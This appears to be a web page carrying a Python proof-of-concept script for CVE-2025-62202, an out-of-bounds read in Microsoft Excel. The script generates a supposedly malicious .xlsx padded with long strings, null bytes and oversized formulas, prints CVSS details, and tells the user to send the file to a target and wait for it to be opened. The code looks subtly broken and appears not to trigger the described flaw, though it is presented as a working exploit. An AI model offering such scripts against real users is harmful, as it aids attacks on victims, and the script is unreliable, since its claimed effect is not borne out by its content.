CVE-2025-62202: Microsoft Office Excel越界读取信息泄露漏洞

#!/usr/bin/env python3 # CVE-2025-62202 PoC - Microsoft Office Excel Out-of-bounds Read # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires specific file format knowledge from docx import Document import struct import os def create_malicious_excel(): """ Create a malicious Excel file that triggers CVE-2025-62202 The file contains specially crafted data designed to cause out-of-bounds read when parsed by Microsoft Office Excel. """ try: # Create a basic Excel file structure from openpyxl import Workbook wb = Workbook() ws = wb.active # Fill cells with data that may trigger parsing issues # In real scenario, this would be binary data targeting # specific parsing functions in Excel for i in range(1, 100): ws[f'A{i}'] = 'A' * 1000 ws[f'B{i}'] = chr(0) * 500 # Null bytes ws[f'C{i}'] = '\xFF' * 500 # Invalid UTF-8 # Add formulas that might trigger parsing vulnerabilities ws['D1'] = '=' + 'A' * 500 # Oversized formula ws['D2'] = '=' + chr(0) * 200 # Formula with null bytes # Save the malicious file output_file = 'CVE-2025-62202-poc.xlsx' wb.save(output_file) print(f"[+] Created malicious Excel file: {output_file}") print(f"[!] This file is designed to trigger out-of-bounds read in Excel") print(f"[!] Send this file to target and wait for them to open it") return output_file except ImportError: print("[-] openpyxl not installed. Using manual XML construction...") create_manual_excel() def create_manual_excel(): """ Manually construct Excel file structure (XLSX is ZIP-based) This creates a minimal malformed Excel file """ import zipfile output_file = 'CVE-2025-62202-poc.xlsx' with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Create minimal workbook.xml with malformed data workbook_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' zf.writestr('xl/workbook.xml', workbook_xml) # Create sheet with oversized cell content sheet_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="str"> <f>''' + 'A' * 1000 + '''</f> <v>''' + chr(0) * 500 + '''</v> </c> </row> </sheetData> </worksheet>''' zf.writestr('xl/worksheets/sheet1.xml', sheet_xml) # Add required content types and relationships content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' zf.writestr('[Content_Types].xml', content_types) print(f"[+] Created malicious Excel file: {output_file}") return output_file def analyze_vulnerability(): """ Analyze the CVE-2025-62202 vulnerability characteristics """ print("\n=== CVE-2025-62202 Analysis ===") print("Type: Out-of-bounds Read") print("CVSS Score: 7.1 (High)") print("Attack Vector: Local (AV:L)") print("Privileges Required: None (PR:N)") print("User Interaction: Required (UI:R)") print("Confidentiality Impact: High (C:H)") print("Integrity Impact: None (I:N)") print("Availability Impact: High (A:H)") print("\n[!] Attack Requirements:") print(" 1. Attacker creates malicious Excel file") print(" 2. Victim opens the file with vulnerable Excel version") print(" 3. Excel triggers out-of-bounds read during file parsing") print(" 4. Attacker gains access to sensitive memory contents") if __name__ == '__main__': print("CVE-2025-62202 PoC Generator") print("=" * 50) analyze_vulnerability() print("\n[+] Generating malicious Excel file...") create_malicious_excel() print("\n[!] Disclaimer: This PoC is for educational purposes only") print("[!] Do not use for malicious purposes")